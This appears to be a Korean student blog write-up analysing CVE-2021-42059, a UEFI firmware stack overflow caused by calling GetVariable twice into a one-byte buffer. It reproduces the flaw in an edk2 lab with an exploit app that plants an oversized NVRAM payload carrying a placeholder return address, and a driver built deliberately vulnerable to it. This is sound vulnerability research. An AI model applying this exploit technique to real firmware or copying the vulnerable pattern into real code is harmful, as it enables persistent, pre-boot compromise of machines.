CVE-2021-42059
- NVD: https://nvd.nist.gov/vuln/detail/cve-2021-42059
- CWE: CWE-787(Out-of-bounds Write)
취약 코드
EFI_STATUS __fastcall GetPrimaryDisplay(_BYTE *res)
{
EFI_STATUS result; // rax
char PrimaryDisplayValue; // [rsp+40h] [rbp+8h] BYREF
UINTN DataSize; // [rsp+48h] [rbp+10h] BYREF
if ( !res )
return EFI_INVALID_PARAMETER;
DataSize = 0i64;
*res = 1;
result = gRT_2F28->GetVariable(
L"PrimaryDisplay",
&EFI_GENERIC_VARIABLE_GUID_2DE0,
0i64,
&DataSize,
&PrimaryDisplayValue);
if ( result == EFI_BUFFER_TOO_SMALL )
result = gRT_2F28->GetVariable(
L"PrimaryDisplay",
&EFI_GENERIC_VARIABLE_GUID_2DE0,
0i64,
&DataSize,
&PrimaryDisplayValue);
if ( (result & 0x8000000000000000ui64) == 0i64 )
{
if ( (PrimaryDisplayValue & 0xFB) != 0 )
{
if ( ((PrimaryDisplayValue - 1) & 0xFD) != 0 )
{
if ( PrimaryDisplayValue == 2 )
*res = 2;
}
else
{
*res = 1;
}
}
else
{
*res = 0;
}
return 0i64;
}
return result;
}
먼저 함수는 PrimaryDisplay라는 NVRAM 변수를 읽기 위해 gRT->GetVariable()을 호출한다. 이 과정에서 변수의 실제 크기가 반환되어 지역 변수인 DataSize가 업데이트 된다.
첫 번째 호출 결과가 EFI_BUFFER_TOO_SMALL일 경우, 함수는 업데이트된 DataSize를 가지고 gRT->GetVariable()을 다시 호출하며, 이를 통해 PrimaryDisplayValue라는 지역 변수에 실제 값을 저장하려 시도한다.
하지만 값을 저장할 버퍼인 PrimaryDisplayValue는 스택 상에 단 1바이트(char) 크기로 할당되어 있다. 만약 NVRAM 변수에 저장된 데이터가 1바이트보다 크다면, 두 번째 호출 시 1바이트 버퍼를 넘어서 스택의 다른 메모리 영역을 덮어쓰게 된다.
실습
실습을 위해 악성페이로드를 NVRAM 변수에 주입하는 앱과, 취약한 드라이버를 edk2 환경에 맞게 재작성했다.
1. BRLY-2021-021-Exploit.c
먼저 악성 페이로드를 메모리에 미리 세팅하는 익스플로잇 앱이다.
#include <Uefi.h>
#include <Library/UefiApplicationEntryPoint.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/DebugLib.h>
EFI_GUID gGuid = { 0x11111111, 0x2222, 0x3333, { 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB } };
EFI_STATUS
EFIAPI
ExploitAppEntryPoint(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
UINTN DataSize = 64;
UINT8 Payload[64];
DEBUG ((DEBUG_INFO, "Preparing Malicious Payload...\n"));
for(UINTN i = 0; i < 33; i++){
Payload[i] = 0x41;
}
UINT64 FakeReturnAddress = 0xDEADBEEFDEADBEEF;
*(UINT64*)(&Payload[33]) = FakeReturnAddress;
for (UINTN i = 41; i < 64; i++) {
Payload[i] = 0x43;
}
Status = gRT->SetVariable (
L"MyVulnVar",
&gGuid,
EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS, //
DataSize,
Payload
);
if (EFI_ERROR(Status)) {
DEBUG ((DEBUG_ERROR, "Failed to set variable! Status: %r\n", Status));
} else {
DEBUG ((DEBUG_INFO, "Variable successfully set!\n"));
}
return EFI_SUCCESS;
}
익스플로잇을 위해 NVRAM 변수를 세팅하는 역할을 한다.


이때 원래 페이로드는 문서의 PoC를 참고하여 40으로 임의 설정했으나, gdb를 통해 info frame 명령어로 스택 프레임을 분석했을 때, 시작주소가 예상과 다르게 7바이트만큼 밀린 것을 확인했다. 이에 따라 페이로드를 33위치로 수정했다.
2. BRLY-2021-021.c
#include <Uefi.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/DebugLib.h>
EFI_GUID gGuid = { 0x11111111, 0x2222, 0x3333, { 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB } };
EFI_STATUS
EFIAPI
TriggerVulnerability (OUT UINT8 *Res)
{
EFI_STATUS Status;
UINT8 VulnBuffer;
UINTN DataSize = 0;
if (Res == NULL) return EFI_INVALID_PARAMETER;
*Res = 1;
Status = gRT->GetVariable(L"MyVulnVar", &gGuid, NULL, &DataSize, &VulnBuffer);
if (Status == EFI_BUFFER_TOO_SMALL) {
Status = gRT->GetVariable(L"MyVulnVar", &gGuid, NULL, &DataSize, &VulnBuffer);
}
return Status;
}
EFI_STATUS
EFIAPI
VulnDriverEntryPoint (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
UINT8 DummyRes;
DEBUG ((DEBUG_INFO, "Loaded during Boot Phase\n"));
TriggerVulnerability (&DummyRes);
return EFI_SUCCESS;
}
로드할 드라이버로, 실제 취약한 코드와 마찬가지로 GetVariable 함수를 두 번 호출하도록 구성했다. 첫 번째 호출을 하면 데이터의 실제 크기를 알아내어 DataSize를 업데이트하고, 반환값이 EFI_BUFFER_TOO_SMALL일 때 업데이트된 크기 그대로 1바이트 크기의 지역 변수에 데이터를 들이붓는 역할을 한다.
결과

BRLY-2021-021-Exploit.c를 통해 악성 페이로드가 담긴 MyVulnVar NVRAM 변수를 생성하고 BRLY-2021-021.c 드라이버를 로드하면, 터지면서 RIP가 기존에 세팅해둔 DEADBEEFDEADBEEF로 변경되는 것을 확인할 수 있다.
결론
- 개발자가 1바이트 버퍼와 데이터 사이즈를 초기화함.
- 첫 번째 GetVariable 호출 이후 데이터 사이즈 변수(DataSize)의 값이 실제 변수 크기(예: 64바이트)로 증가함.
- 개발자가 버퍼 크기를 늘리거나 이를 다시 초기화하지 않고 두 번째 GetVariable을 호출함.
- UEFI 서비스는 증가된 DataSize만큼의 데이터를 1바이트 버퍼에 복사함.
- 스택 버퍼 오버플로우 발생 및 실행 흐름 탈취.
참고
https://github.com/binarly-io/Vulnerability-REsearch/blob/main/Insyde/BRLY-2021-021.md
Vulnerability-REsearch/Insyde/BRLY-2021-021.md at main · binarly-io/Vulnerability-REsearch
Binarly Vulnerability Research Advisories. Contribute to binarly-io/Vulnerability-REsearch development by creating an account on GitHub.
github.com
'CS > Graduation project' 카테고리의 다른 글
| [UEFI] CommBuffer 검증 우회 (Ring -2) (0) | 2026.02.24 |
|---|---|
| [UEFI] BRLY-2022-016 분석 및 재현 (CommBuffer) (0) | 2026.02.23 |
| [UEFI] 기드라 스크립트 검증과 오탐 분석 (0) | 2026.02.19 |
| CVE-2021-39297 분석 및 실습 (0) | 2026.02.14 |
| [UEFI] SetVariable() (0) | 2026.02.14 |